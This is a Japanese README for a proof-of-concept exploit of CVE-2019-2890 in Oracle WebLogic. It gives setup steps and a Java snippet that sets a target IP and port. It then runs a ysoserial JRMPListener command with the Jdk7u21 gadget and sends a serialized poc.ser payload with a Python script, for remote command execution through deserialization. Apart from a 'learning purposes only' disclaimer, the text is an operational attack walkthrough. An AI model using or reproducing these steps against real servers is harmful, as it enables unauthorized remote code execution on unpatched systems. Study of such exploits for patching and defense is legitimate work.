
CVE-2019-2890を標的としたOracle WebLogic向けのPoCエクスプロイト。ysoserialのJRMPペイロードを使用し、シリアライズされたオブジェクトのデシリアライゼーションを介してリモートコマンド実行を行います。
学習・交流目的のみに使用してください。その他の用途による結果は自己責任となります。
関連するjarファイルはすべてプロジェクトにインポート済みで、利用方法はysoのJRMPを採用しています。学習・デバッグの際には利用方法を変更できます。
まず、weblogic配下の SerializedSystemIni.dat ファイルを security フォルダーに配置する必要があります。
次に、ysoを ysoserial.jar にリネームし、lib ディレクトリにインポートする必要があります。

次に、weblogic/wsee/jaxws/persistence/PersistentContext.java 内の getObject のIPアドレスとポートを指定します。
try {
var3.writeObject(Poc.getObject("127.0.0.1:8000"));
} catch (Exception e) {
e.printStackTrace();
}
最後に、リモートでJRMPリスナーを起動し、7u21を利用してコマンドを実行します。
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8000 Jdk7u21 "calc.exe"
使用方法:Poc.javaを実行してpoc.serシリアライズファイルを生成し、次のコマンドを使用します。
python weblogic.py ip port poc.ser

